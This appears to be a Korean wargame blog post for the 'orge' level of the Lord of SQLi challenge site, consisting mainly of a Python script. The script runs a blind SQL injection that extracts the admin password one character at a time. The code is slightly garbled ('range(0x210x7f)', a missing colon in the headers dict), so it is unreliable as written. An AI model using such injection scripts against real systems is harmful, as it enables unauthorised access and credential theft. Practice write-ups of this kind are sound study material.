1. orge.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
 
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
password = ''
index=0
 
while True:
        
        isit = False
        index += 1
        print('[+]Finding Password index : %d'%index)
        for i in range(0x210x7f):
                query = '\' || id=\'admin\' && substr(pw,' + str(index) + ',1)=\'' + chr(i)+'\'#'
                paramDic ={
                        'pw':
                        query  
                        }
                print('[*]Sending Query : %s'%query)
                headers = {'Content-Type''application/json; charset=utf-8'}
                cookies = {'PHPSESSID':'m92mjdshh228bvpverl9tp0jnd'}
                
                response = requests.get(URL, params=paramDic, headers=headers, cookies=cookies)
                
                if "Hello admin" in response.text:
                        password += chr(i)
                        isit = True        
                        print('[+]Find Password : %s Index : %d' %(chr(i), index))
                        break
        if isit is False:
                break
        
print('[+]Password : %s'%password)
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter

'Web hacking > LOS' 카테고리의 다른 글

[LOS] - assassin - 190825  (0) 2019.08.25
[LOS] - bugbear - 190825  (0) 2019.08.25
[LOS] - darknight - 190825  (0) 2019.08.25
[LOS] - golem - 190825  (0) 2019.08.25
[LOS] - orc - 190825  (0) 2019.08.25

+ Recent posts